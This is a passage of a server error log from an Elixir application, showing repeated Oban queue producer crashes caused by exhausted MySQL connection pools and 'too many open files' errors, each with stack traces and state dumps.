  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:05:05.238161Z], limit: 5, uuid: "17dfbee9-739a-4831-a146-31f3ee100449", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:05.238170Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.235513>, refresh_timer: #Reference<0.2525715032.1077411843.235486>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:21.128000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:24.515000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:26.402000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:26.631000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:26.705000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:30.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:05:18.246444Z], limit: 5, uuid: "35ea7613-41fa-415e-9ac8-8b1727dba8c7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:18.246450Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.106252>, refresh_timer: #Reference<0.2525715032.1077411843.235673>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1074ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:05:18.245528Z], limit: 10, uuid: "89c00ee3-1351-4a16-8c29-96f14c2c823a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:18.245534Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.106250>, refresh_timer: #Reference<0.2525715032.1077411843.235672>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:05:18.246769Z], limit: 3, uuid: "6ac1cd24-62e7-43a1-986c-720e0c3e704b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:18.246775Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.106254>, refresh_timer: #Reference<0.2525715032.1077411843.235662>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 815ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:05:18.246916Z], limit: 5, uuid: "81901d94-a066-4a70-aee9-69ee54d97cd2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:18.246921Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.106251>, refresh_timer: #Reference<0.2525715032.1077411843.235669>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:30.244000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:05:18.246522Z], limit: 20, uuid: "d6eb616c-cfd1-47d2-b470-c187aefe1e53", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:18.246526Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.235674>, refresh_timer: #Reference<0.2525715032.1077411843.235652>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:30.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1093ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:05:18.246346Z], limit: 50, uuid: "3c487829-8686-49d6-90e8-b80cdb1d5aaf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:18.246352Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.106253>, refresh_timer: #Reference<0.2525715032.1077411843.235651>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:33.495000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:37.228000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:37.251000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:37.447000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:37.830000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:38.213000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:39.783000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:05:42.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1032ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:05:30.253217Z], limit: 50, uuid: "ce69adb7-730d-444f-a9b1-71f4ace6735c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:30.253223Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.106513>, refresh_timer: #Reference<0.2525715032.1099431938.1365>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
